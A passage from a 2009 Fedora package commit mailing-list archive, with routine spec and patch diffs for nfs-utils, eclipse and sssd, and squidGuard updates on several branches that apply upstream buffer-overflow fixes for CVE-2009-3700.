 		buf[0] = '\0';
@@ -302,15 +371,19 @@ char *conf_get_mntopts(char *spec, char *mount_point,
 		free_all();
 		return mount_opts;
 	}
+
 	if (mount_opts) {
 		strcpy(config_opts, mount_opts);
 		strcat(config_opts, ",");
 	}
 	SLIST_FOREACH(entry, &head, entries) {
+		if (default_value(entry->opt))
+			continue;
 		strcat(config_opts, entry->opt);
 		strcat(config_opts, ",");
 	}
-	*(strrchr(config_opts, ',')) = '\0';
+	if ((ptr = strrchr(config_opts, ',')) != NULL)
+		*ptr = '\0';
 
 	free_all();
 	if (mount_opts)
diff --git a/utils/mount/network.c b/utils/mount/network.c
index bd621be..e651167 100644
--- a/utils/mount/network.c
+++ b/utils/mount/network.c
@@ -50,6 +50,7 @@
 #include "nfsrpc.h"
 #include "parse_opt.h"
 #include "network.h"
+#include "conffile.h"
 
 #define PMAP_TIMEOUT	(10)
 #define CONNECT_TIMEOUT	(20)
@@ -609,10 +610,19 @@ static int nfs_probe_nfsport(const struct sockaddr *sap, const socklen_t salen,
 	if (pmap->pm_vers && pmap->pm_prot && pmap->pm_port)
 		return 1;
 
-	if (nfs_mount_data_version >= 4)
+	if (nfs_mount_data_version >= 4) {
+		const unsigned int *probe_proto = probe_tcp_first;
+
+		/*
+		 * If the default proto has been set and 
+		 * its not TCP, start with UDP
+		 */
+		if (config_default_proto && config_default_proto != IPPROTO_TCP)
+			probe_proto =  probe_udp_first;
+
 		return nfs_probe_port(sap, salen, pmap,
-					probe_nfs3_first, probe_tcp_first);
-	else
+					probe_nfs3_first, probe_proto);
+	} else
 		return nfs_probe_port(sap, salen, pmap,
 					probe_nfs2_only, probe_udp_only);
 }
@@ -1261,7 +1271,7 @@ nfs_nfs_version(struct mount_options *options, unsigned long *version)
  * Returns TRUE if @protocol contains a valid value for this option,
  * or FALSE if the option was specified with an invalid value.
  */
-static int
+int
 nfs_nfs_protocol(struct mount_options *options, unsigned long *protocol)
 {
 	char *option;
diff --git a/utils/mount/network.h b/utils/mount/network.h
index 402e0a5..7eb89b0 100644
--- a/utils/mount/network.h
+++ b/utils/mount/network.h
@@ -57,6 +57,8 @@ int clnt_ping(struct sockaddr_in *, const unsigned long,
 struct mount_options;
 
 int nfs_nfs_version(struct mount_options *options, unsigned long *version);
+int  nfs_nfs_protocol(struct mount_options *options, unsigned long *protocol);
+
 int nfs_options2pmap(struct mount_options *,
 		      struct pmap *, struct pmap *);
 
diff --git a/utils/mount/nfsmount.conf b/utils/mount/nfsmount.conf
index f9fcfcb..9b8ff4a 100644
--- a/utils/mount/nfsmount.conf
+++ b/utils/mount/nfsmount.conf
@@ -24,14 +24,29 @@
 # All reads and writes to the 'nfsserver.foo.com' server 
 # will be done with 32k (32768 bytes) block sizes.
 #
-#[ NFSMount_Global_Options ]
+[ NFSMount_Global_Options ]
 # This statically named section defines global mount 
 # options that can be applied on all NFS mount.
 #
-# Protocol Version [2,3]
-# Nfsvers=3
-# Network Transport [Udp,Tcp,Rdma]
-# Proto=Tcp
+# Protocol Version [2,3,4]
+# This defines the default protocol version which will
+# be used to start the negotiation with the server.
+# Defaultvers=4
+#
+# Setting this option makes it mandatory the server supports the
+# given version. The mount will fail if the given version is 
+# not support by the server. 
+# Nfsvers=4
+#
+# Network Protocol [udp,tcp,rdma] (Note: values are case sensitive)
+# This defines the default network protocol which will
+# be used to start the negotiation with the server.
+# Defaultproto=tcp
+#
+# Setting this option makes it mandatory the server supports the
+# given network protocol. The mount will fail if the given network
+# protocol is not supported by the server.
+# Proto=tcp
 #
 # The number of times a request will be retired before 
 # generating a timeout 
diff --git a/utils/mount/stropts.c b/utils/mount/stropts.c
index 069bdc1..ceefdb0 100644
--- a/utils/mount/stropts.c
+++ b/utils/mount/stropts.c
@@ -45,6 +45,7 @@
 #include "parse_opt.h"
 #include "version.h"
 #include "parse_dev.h"
+#include "conffile.h"
 
 #ifndef NFS_PROGRAM
 #define NFS_PROGRAM	(100003)
@@ -283,6 +284,14 @@ static int nfs_validate_options(struct nfsmount_info *mi)
 		if (option && strcmp(option, "rdma") == 0)
 			mi->version = 3;
 	}
+	/*
+	 * Use the default value set in the config file when
+	 * the version has not been explicitly set.
+	 */
+	if (mi->version == 0 && config_default_vers) {
+		if (config_default_vers < 4)
+			mi->version = config_default_vers;
+	}
 
 	if (!nfs_append_sloppy_option(mi->options))
 		return 0;


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils.spec,v
retrieving revision 1.246
retrieving revision 1.247
diff -u -p -r1.246 -r1.247
--- nfs-utils.spec	6 Oct 2009 10:50:48 -0000	1.246
+++ nfs-utils.spec	26 Oct 2009 13:26:04 -0000	1.247
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 16%{?dist}
+Release: 17%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -28,12 +28,9 @@ Patch102: nfs-utils-1.2.1-rc3.patch
 Patch103: nfs-utils-1.2.1-rc4.patch
 Patch104: nfs-utils-1.2.1-rc5.patch
 Patch105: nfs-utils-1.2.1-rc6.patch
-Patch106: nfs-utils-1.2.0-mount-vers4.patch
+Patch106: nfs-utils-1.2.1-rc7.patch
 
-Patch200: nfs-utils-1.2.0-v4root-rel6.patch
-
-Patch300: nfs-utils-1.2.0-mntconf-vers.patch
-Patch301: nfs-utils-1.2.0-mntconf-negation.patch
+Patch200: nfs-utils-1.2.0-v4root-rel7.patch
 
 Group: System Environment/Daemons
 Provides: exportfs    = %{epoch}:%{version}-%{release}
@@ -95,9 +92,6 @@ This package also contains the mount.nfs
 
 %patch200 -p1
 
-%patch300 -p1
-%patch301 -p1
-
 # Remove .orig files
 find . -name "*.orig" | xargs rm -f
 
@@ -268,6 +262,13 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Mon Oct 26 09:23:45 EDT 2009
+- Updated to the latest pseudo root release (rel7).
+- Added upstream 1.2.1-rc7 patch which fixes:
+  - Stop ignoring the -o v4 option (bz 529407)
+  - Allow network protocol roll backs when proto is set
+    in the config file (bz 529864)
+
 * Mon Oct  5 2009 Steve Dickson <steved at redhat.com> 1.2.0-16
 - Fixed a whole where '-o v4' was not overriding the
   version in the conf file.


--- nfs-utils-1.2.0-mntconf-negation.patch DELETED ---


--- nfs-utils-1.2.0-mntconf-vers.patch DELETED ---


--- nfs-utils-1.2.0-mount-vers4.patch DELETED ---


--- nfs-utils-1.2.0-v4root-rel6.patch DELETED ---



From steved at fedoraproject.org  Mon Oct 26 13:27:05 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Mon, 26 Oct 2009 13:27:05 +0000 (UTC)
Subject: rpms/nfs-utils/devel nfs-utils.spec,1.247,1.248
Message-ID: <20091026132705.4B39F11C0268@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5367

Modified Files:
	nfs-utils.spec 
Log Message:
Fixed typo in changelog



Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils.spec,v
retrieving revision 1.247
retrieving revision 1.248
diff -u -p -r1.247 -r1.248
--- nfs-utils.spec	26 Oct 2009 13:26:04 -0000	1.247
+++ nfs-utils.spec	26 Oct 2009 13:27:05 -0000	1.248
@@ -262,7 +262,7 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
-* Mon Oct 26 09:23:45 EDT 2009
+* Mon Oct 26 2009 Steve Dickson <steved at redhat.com> 1.2.0-17
 - Updated to the latest pseudo root release (rel7).
 - Added upstream 1.2.1-rc7 patch which fixes:
   - Stop ignoring the -o v4 option (bz 529407)



From overholt at fedoraproject.org  Mon Oct 26 13:28:56 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Mon, 26 Oct 2009 13:28:56 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.683,1.684
Message-ID: <20091026132856.A5EE811C0268@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5858

Modified Files:
	eclipse.spec 
Log Message:
* Mon Oct 26 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-12
- Remove old TODO items.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.683
retrieving revision 1.684
diff -u -p -r1.683 -r1.684
--- eclipse.spec	23 Oct 2009 09:58:19 -0000	1.683
+++ eclipse.spec	26 Oct 2009 13:28:56 -0000	1.684
@@ -1,7 +1,4 @@
 # TODO:
-# - look at startup script and launcher patches
-# - get Ganymede update site pre-configured (https://bugs.eclipse.org/249133)
-# - investigate bi-arch requirements
 # - see why about.html isn't being copied on ppc
 # - fix ant libs
 Epoch:  1
@@ -1081,6 +1078,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Mon Oct 26 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-12
+- Remove old TODO items.
+
 * Fri Oct 23 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-12
 - No need to invoke desktop-file-install, it's handled by e-b install now. 
 



From limb at fedoraproject.org  Mon Oct 26 13:30:17 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:30:17 +0000 (UTC)
Subject: rpms/squidGuard/devel squidGuard-1.4-20091015.patch, NONE,
	1.1 squidGuard-1.4-20091019.patch, NONE, 1.1 squidGuard.spec,
	1.21, 1.22
Message-ID: <20091026133017.5E11011C029D@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6141

Modified Files:
	squidGuard.spec 
Added Files:
	squidGuard-1.4-20091015.patch squidGuard-1.4-20091019.patch 
Log Message:
Applying upstream patches for CVE-2009-3700, BZ 530862.


squidGuard-1.4-20091015.patch:
 sgLog.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE squidGuard-1.4-20091015.patch ---
--- src/sgLog.c	2007-11-16 10:58:32.000000000 -0600
+++ src/sgLog.c	2009-10-15 14:25:14.000000000 -0500
@@ -5 +5 @@
-  This software product, squidGuard, is copyrighted (C) 1998-2007
+  This software product, squidGuard, is copyrighted (C) 1998-2009
@@ -58,2 +58,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    fprintf(stderr,"overflow in vsprintf (sgLog): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    fprintf(stderr,"overflow in vsnprintf (sgLog): %s",strerror(errno));
@@ -90,2 +90,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    sgLogFatalError("overflow in vsprintf (sgLogError): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));
@@ -107,2 +107,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    return;
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));

squidGuard-1.4-20091019.patch:
 sgDiv.c.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE squidGuard-1.4-20091019.patch ---
--- src/sgDiv.c.in	2008-07-14 11:02:43.000000000 -0500
+++ src/sgDiv.c.in	2009-10-19 14:26:04.000000000 -0500
@@ -748 +748 @@
-      strcat(buf, req->orig);
+      strncat(buf, req->orig, 2048);
--- src/sg.h.in	2007-11-16 10:58:32.000000000 -0600
+++ src/sg.h.in	2009-10-19 14:25:23.000000000 -0500
@@ -76 +76 @@
-#define MAX_BUF 4096
+#define MAX_BUF 12288


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/devel/squidGuard.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- squidGuard.spec	21 Oct 2009 19:35:22 -0000	1.21
+++ squidGuard.spec	26 Oct 2009 13:30:17 -0000	1.22
@@ -7,7 +7,7 @@
 
 Name:			squidGuard
 Version:		1.4
-Release:		7%{?dist}
+Release:		8%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
@@ -35,6 +35,8 @@ Patch3:			squidGuard-perlwarning.patch
 #Patch4:			squidGuard-sed.patch
 Patch5:			squidGuard-makeinstall.patch
 #Patch6:			squidGuard-1.3-SG-2008-06-13.patch
+Patch7:			squidGuard-1.4-20091015.patch
+Patch8:			squidGuard-1.4-20091019.patch
 
 URL:			http://www.squidguard.org/
 
@@ -79,6 +81,8 @@ Neither squidGuard nor Squid can be used
 #%patch4 -p1
 %patch5	-p1
 #%patch6 -p0
+%patch7 -p0
+%patch8 -p0
 
 %{__cp} %{SOURCE100} ./squidGuard.conf.k12ltsp.template
 %{__cp} %{SOURCE101} ./update_squidguard_blacklists.k12ltsp.sh
@@ -196,6 +200,9 @@ fi
 %{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Mon Oct 26 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-8
+- Applying upstream patches for CVE-2009-3700, BZ 530862.
+
 * Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
 - Make squidGuard.cgi config(noreplace)
 - Relocated logs, updated logrotate file.
@@ -225,7 +232,7 @@ fi
 - Update to 1.3.
 - Dropped paths, sed patches, applied upstream.
 - New SG-2008-06-13 patch.
-
+ 
 * Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-2
 - Fix sg-2008-06-13, BZ 452467.
 



From sgallagh at fedoraproject.org  Mon Oct 26 13:33:51 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Mon, 26 Oct 2009 13:33:51 +0000 (UTC)
Subject: rpms/sssd/F-12
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch, NONE,
	1.1 sssd.spec, 1.25, 1.26
Message-ID: <20091026133351.1031811C0268@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6767

Modified Files:
	sssd.spec 
Added Files:
	0001-Fix-migration-script-for-pre-0.5-local-domains.patch 
Log Message:
Fix upgrade issues from old (pre-0.5.0) releases of SSSD

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.



0001-Fix-migration-script-for-pre-0.5-local-domains.patch:
 upgrade_config.py |   14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

--- NEW FILE 0001-Fix-migration-script-for-pre-0.5-local-domains.patch ---
>From ff5fd17a20037377889b60a73b2b1f470c67c674 Mon Sep 17 00:00:00 2001
From: Jakub Hrozek <jhrozek at redhat.com>
Date: Mon, 26 Oct 2009 12:54:38 +0100
Subject: [PATCH] Fix migration script for pre-0.5 local domains

Configuration files before 0.5.0 did not enforce provider= in local
domains it did special-case by domain name (LOCAL). Our script was
relying on provider= value, this patch adds the special-casing in case
the domain was called LOCAL.
---
 server/upgrade/upgrade_config.py |   13 +++++++++++--
 1 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
index 87e3990..fe20811 100644
--- a/server/upgrade/upgrade_config.py
+++ b/server/upgrade/upgrade_config.py
@@ -25,6 +25,7 @@ import sys
 import shutil
 import traceback
 from ConfigParser import RawConfigParser
+from ConfigParser import NoOptionError
 from optparse import OptionParser
 
 class SSSDConfigParser(RawConfigParser):
@@ -211,11 +212,19 @@ class SSSDConfigFile(object):
         self._migrate_kw(new_domsec, old_domsec, ldap_kw)
         self._migrate_kw(new_domsec, old_domsec, krb5_kw)
 
+        # configuration files before 0.5.0 did not enforce provider= in local domains
+        # it did special-case by domain name (LOCAL)
+        try:
+            prv = self._new_config.get(new_domsec, 'id_provider')
+        except NoOptionError:
+            if old_domsec == 'domains/LOCAL':
+                prv = 'local'
+                self._new_config.set(new_domsec, 'id_provider', prv)
+
         # if domain was local, update with parameters from [user_defaults]
-        if self._new_config.get(new_domsec, 'id_provider') == 'local':
+        if prv == 'local':
             self._migrate_kw(new_domsec, 'user_defaults', user_defaults_kw)
 
-
     def _migrate_domains(self):
         for domain in [ s.replace('domains/','') for s in self._config.sections() if s.startswith("domains/") ]:
             domain = domain.strip()
-- 
1.6.2.5



Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sssd.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sssd.spec	23 Oct 2009 19:59:19 -0000	1.25
+++ sssd.spec	26 Oct 2009 13:33:50 -0000	1.26
@@ -3,7 +3,7 @@
 
 Name: sssd
 Version: 0.7.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
@@ -15,6 +15,8 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 ### Patches ###
 
+Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
+
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
@@ -73,6 +75,8 @@ service.
 %prep
 %setup -q
 
+%patch1 -p1 -b .upgrade_fixes
+
 %build
 %configure \
     --without-tests \
@@ -190,6 +194,9 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
+- Fix upgrade issues from old (pre-0.5.0) releases of SSSD
+
 * Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
 - New upstream release 0.7.0
 



From limb at fedoraproject.org  Mon Oct 26 13:41:38 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:41:38 +0000 (UTC)
Subject: rpms/squidGuard/F-11 squidGuard-1.4-20091015.patch, NONE,
	1.1 squidGuard-1.4-20091019.patch, NONE, 1.1 squidGuard.spec,
	1.19, 1.20
Message-ID: <20091026134138.530AA11C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9112/F-11

Modified Files:
	squidGuard.spec 
Added Files:
	squidGuard-1.4-20091015.patch squidGuard-1.4-20091019.patch 
Log Message:
Applying upstream patches for CVE-2009-3700, BZ 530862.


squidGuard-1.4-20091015.patch:
 sgLog.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE squidGuard-1.4-20091015.patch ---
--- src/sgLog.c	2007-11-16 10:58:32.000000000 -0600
+++ src/sgLog.c	2009-10-15 14:25:14.000000000 -0500
@@ -5 +5 @@
-  This software product, squidGuard, is copyrighted (C) 1998-2007
+  This software product, squidGuard, is copyrighted (C) 1998-2009
@@ -58,2 +58,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    fprintf(stderr,"overflow in vsprintf (sgLog): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    fprintf(stderr,"overflow in vsnprintf (sgLog): %s",strerror(errno));
@@ -90,2 +90,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    sgLogFatalError("overflow in vsprintf (sgLogError): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));
@@ -107,2 +107,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    return;
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));

squidGuard-1.4-20091019.patch:
 sgDiv.c.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE squidGuard-1.4-20091019.patch ---
--- src/sgDiv.c.in	2008-07-14 11:02:43.000000000 -0500
+++ src/sgDiv.c.in	2009-10-19 14:26:04.000000000 -0500
@@ -748 +748 @@
-      strcat(buf, req->orig);
+      strncat(buf, req->orig, 2048);
--- src/sg.h.in	2007-11-16 10:58:32.000000000 -0600
+++ src/sg.h.in	2009-10-19 14:25:23.000000000 -0500
@@ -76 +76 @@
-#define MAX_BUF 4096
+#define MAX_BUF 12288


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-11/squidGuard.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- squidGuard.spec	9 Sep 2009 18:07:04 -0000	1.19
+++ squidGuard.spec	26 Oct 2009 13:41:38 -0000	1.20
@@ -7,7 +7,7 @@
 
 Name:			squidGuard
 Version:		1.4
-Release:		6%{?dist}
+Release:		8%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
@@ -15,7 +15,7 @@ License:		GPLv2
 
 Source0:		http://www.squidguard.org/Downloads/squidGuard-%{version}.tar.gz
 Source1:		squidGuard.logrotate
-Source2:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/contrib/blacklists.tar.gz
+Source2:		http://squidguard.mesd.k12.or.us/blacklists.tgz
 Source3:		http://cuda.port-aransas.k12.tx.us/squid-getlist.html
 
 # K12LTSP stuff
@@ -35,6 +35,8 @@ Patch3:			squidGuard-perlwarning.patch
 #Patch4:			squidGuard-sed.patch
 Patch5:			squidGuard-makeinstall.patch
 #Patch6:			squidGuard-1.3-SG-2008-06-13.patch
+Patch7:			squidGuard-1.4-20091015.patch
+Patch8:			squidGuard-1.4-20091019.patch
 
 URL:			http://www.squidguard.org/
 
@@ -79,6 +81,8 @@ Neither squidGuard nor Squid can be used
 #%patch4 -p1
 %patch5	-p1
 #%patch6 -p0
+%patch7 -p0
+%patch8 -p0
 
 %{__cp} %{SOURCE100} ./squidGuard.conf.k12ltsp.template
 %{__cp} %{SOURCE101} ./update_squidguard_blacklists.k12ltsp.sh
@@ -86,7 +90,7 @@ Neither squidGuard nor Squid can be used
 %build
 %configure \
 	--with-sg-config=%{_sysconfdir}/squid/squidGuard.conf \
-	--with-sg-logdir=%{_var}/log/squid \
+	--with-sg-logdir=%{_var}/log/squidGuard \
 	--with-sg-dbhome=%{_dbhomedir} \
 	--with-db-inc=%{_includedir}/db4.6.21 \
 	--with-db-lib=%{_libdir}/db4.6.21
@@ -107,7 +111,7 @@ popd
 
 %{__install} -p -D -m 0644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/squidGuard
 %{__install} -p -D -m 0644 samples/sample.conf $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
-%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
+%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
 
 # Don't use SOURCE3, but use the allready patched one #165689
 %{__install} -p -D -m 0755 squid-getlist.html $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/squidGuard
@@ -124,14 +128,18 @@ popd
 %{__install} -p -D -m 0755 %{SOURCE102} $RPM_BUILD_ROOT%{_initrddir}/squidGuard
 %{__install} -p -D -m 0755 %{SOURCE103} $RPM_BUILD_ROOT%{_initrddir}/transparent-proxying
 
-pushd $RPM_BUILD_ROOT%{_dbhomedir}
-tar xfz $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
-popd
+#pushd $RPM_BUILD_ROOT%{_dbhomedir}
+tar xfz $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
+#popd
 
 sed -i "s,dest/adult/,blacklists/porn/,g" $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
 
 %{__install} -p -D -m 0644 samples/babel.* $RPM_BUILD_ROOT%{_cgibin}
 
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squidGuard
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squid
+ln -s ../squidGuard/squidGuard.log  $RPM_BUILD_ROOT%{_localstatedir}/log/squid/squidGuard.log
+
 %clean
 %{__rm} -rf $RPM_BUILD_ROOT
 
@@ -184,11 +192,22 @@ fi
 #%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
 #%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
 %attr(0755,root,root) %{_cgibin}/*.cgi
+%config(noreplace) %{_cgibin}/squidGuard.cgi
 %{_cgibin}/babel.*
 %{_initrddir}/squidGuard
 %{_initrddir}/transparent-proxying
+%{_localstatedir}/log/squidGuard
+%{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Mon Oct 26 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-8
+- Applying upstream patches for CVE-2009-3700, BZ 530862.
+
+* Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
+- Make squidGuard.cgi config(noreplace)
+- Relocated logs, updated logrotate file.
+- Updated blacklist URL.
+
 * Wed Sep 09 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-6
 - Include babel files, BZ 522038.
 
@@ -213,7 +232,7 @@ fi
 - Update to 1.3.
 - Dropped paths, sed patches, applied upstream.
 - New SG-2008-06-13 patch.
-
+ 
 * Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-2
 - Fix sg-2008-06-13, BZ 452467.
 



From limb at fedoraproject.org  Mon Oct 26 13:41:38 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:41:38 +0000 (UTC)
Subject: rpms/squidGuard/F-10 squidGuard-1.4-20091015.patch, NONE,
	1.1 squidGuard-1.4-20091019.patch, NONE, 1.1 squidGuard.spec,
	1.15, 1.16
Message-ID: <20091026134138.08CC011C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9112/F-10

Modified Files:
	squidGuard.spec 
Added Files:
	squidGuard-1.4-20091015.patch squidGuard-1.4-20091019.patch 
Log Message:
Applying upstream patches for CVE-2009-3700, BZ 530862.


squidGuard-1.4-20091015.patch:
 sgLog.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE squidGuard-1.4-20091015.patch ---
--- src/sgLog.c	2007-11-16 10:58:32.000000000 -0600
+++ src/sgLog.c	2009-10-15 14:25:14.000000000 -0500
@@ -5 +5 @@
-  This software product, squidGuard, is copyrighted (C) 1998-2007
+  This software product, squidGuard, is copyrighted (C) 1998-2009
@@ -58,2 +58,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    fprintf(stderr,"overflow in vsprintf (sgLog): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    fprintf(stderr,"overflow in vsnprintf (sgLog): %s",strerror(errno));
@@ -90,2 +90,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    sgLogFatalError("overflow in vsprintf (sgLogError): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));
@@ -107,2 +107,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    return;
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));

squidGuard-1.4-20091019.patch:
 sgDiv.c.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE squidGuard-1.4-20091019.patch ---
--- src/sgDiv.c.in	2008-07-14 11:02:43.000000000 -0500
+++ src/sgDiv.c.in	2009-10-19 14:26:04.000000000 -0500
@@ -748 +748 @@
-      strcat(buf, req->orig);
+      strncat(buf, req->orig, 2048);
--- src/sg.h.in	2007-11-16 10:58:32.000000000 -0600
+++ src/sg.h.in	2009-10-19 14:25:23.000000000 -0500
@@ -76 +76 @@
-#define MAX_BUF 4096
+#define MAX_BUF 12288


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-10/squidGuard.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- squidGuard.spec	15 Sep 2009 14:26:23 -0000	1.15
+++ squidGuard.spec	26 Oct 2009 13:41:37 -0000	1.16
@@ -7,7 +7,7 @@
 
 Name:			squidGuard
 Version:		1.4
-Release:		6%{?dist}
+Release:		8%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
@@ -15,7 +15,7 @@ License:		GPLv2
 
 Source0:		http://www.squidguard.org/Downloads/squidGuard-%{version}.tar.gz
 Source1:		squidGuard.logrotate
-Source2:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/contrib/blacklists.tar.gz
